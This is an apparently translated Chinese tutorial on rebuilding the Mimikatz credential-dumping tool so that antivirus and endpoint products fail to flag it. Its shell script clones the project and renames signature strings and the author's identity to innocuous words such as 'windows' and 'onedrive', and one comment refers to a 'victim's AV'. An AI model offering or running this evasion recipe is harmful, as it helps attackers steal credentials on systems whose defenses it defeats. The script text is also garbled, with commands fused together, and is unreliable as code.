FreeBuf手把手教你构建自定义的Mimikatz二进制文件


FreeBuf手把手教你构建自定义的Mimikatz二进制文件
本文插图
介绍在这篇文章中 , 我们将教会大家如何通过修改源代码的方式构建自定义的Mimikatz二进制文件 , 并绕过反病毒/终端检测与响应产品 。
目前社区有很多关于Mimikatz混淆的技术文章 , 但大多数都针对的是如何让Invoke-Mimikatz绕过AMSI或直接使用PowerShell版本的混淆工具 。 但是 , 我选择的是构建一个不会被反病毒产品标记的自定义Mimikatz版本:
# This script downloads and slightly "obfuscates" the mimikatz project.# Most AV solutions block mimikatz based on certain keywords in the binary like "mimikatz", "gentilkiwi", "benjamin@gentilkiwi.com" ...,# so removing them from the project before compiling gets us past most of the AV solutions.# We can even go further and change some functionality keywords like "sekurlsa", "logonpasswords", "lsadump", "minidump", "pth" ....,# but this needs adapting to the doc, so it has not been done, try it if your victim's AV still detects mimikatz after this program.gitclonehttps://github.com/gentilkiwi/mimikatz.git windowsmv windows/mimikatz windows/windowsfind windows/ -typef -print0 | xargs -0 sed -i's/mimikatz/windows/g'find windows/ -typef -print0 | xargs -0 sed -i's/MIMIKATZ/WINDOWS/g'find windows/ -typef -print0 | xargs -0 sed -i's/Mimikatz/Windows/g'find windows/ -typef -print0 | xargs -0 sed -i's/DELPY/James/g'find windows/ -typef -print0 | xargs -0 sed -i's/Benjamin/Troy/g'find windows/ -typef -print0 | xargs -0 sed -i's/benjamin@gentilkiwi.com/jtroy@hotmail.com/g'find windows/ -typef -print0 | xargs -0 sed -i's/creativecommons/python/g'find windows/ -typef -print0 | xargs -0 sed -i's/gentilkiwi/MSOffice/g'find windows/ -typef -print0 | xargs -0 sed -i's/KIWI/ONEDRIVE/g'find windows/ -typef -print0 | xargs -0 sed -i's/Kiwi/Onedrive/g'find windows/ -typef -print0 | xargs -0 sed -i's/kiwi/onedrive/g'find windows/ -typef -name'*mimikatz*'|whilereadFILE ;donewfile="$(echo ${FILE} |sed -e 's/mimikatz/windows/g')";mv"${FILE}""${newfile}";donefind windows/ -typef -name'*kiwi*'|whilereadFILE ;donewfile="$(echo ${FILE} |sed -e 's/kiwi/onedrive/g')";Done接下来 , 我们一起看一看如何去构建一个自定义的Mimikatz二进制文件 。
Mimikatz包含病毒毫无疑问 , 你下载的每一个Mimikatz发行版都会被反病毒产品标记为恶意软件 , 因为很多攻击者都会选择使用Mimikatz和其他开源项目来实施各种攻击行为 。 显然 , 有很多人并不知道为何这些开源项目会被标记 , 以及它们是如何被标记的:
FreeBuf手把手教你构建自定义的Mimikatz二进制文件
本文插图
真实的攻击者和渗透测试人员一般都不会直接选择使用项目的发布版本 , 而通常会选择使用自己的自定义构建版本 。 一般来说 , 他们只会选择使用Mimikatz的部分源代码 。 在这种情况下 , 我们会在保留原有功能特性的基础上对源代码进行修改以评估其检测率 。 因此 , 使用自定义的源码文件还是我们最佳的实践方式 。


推荐阅读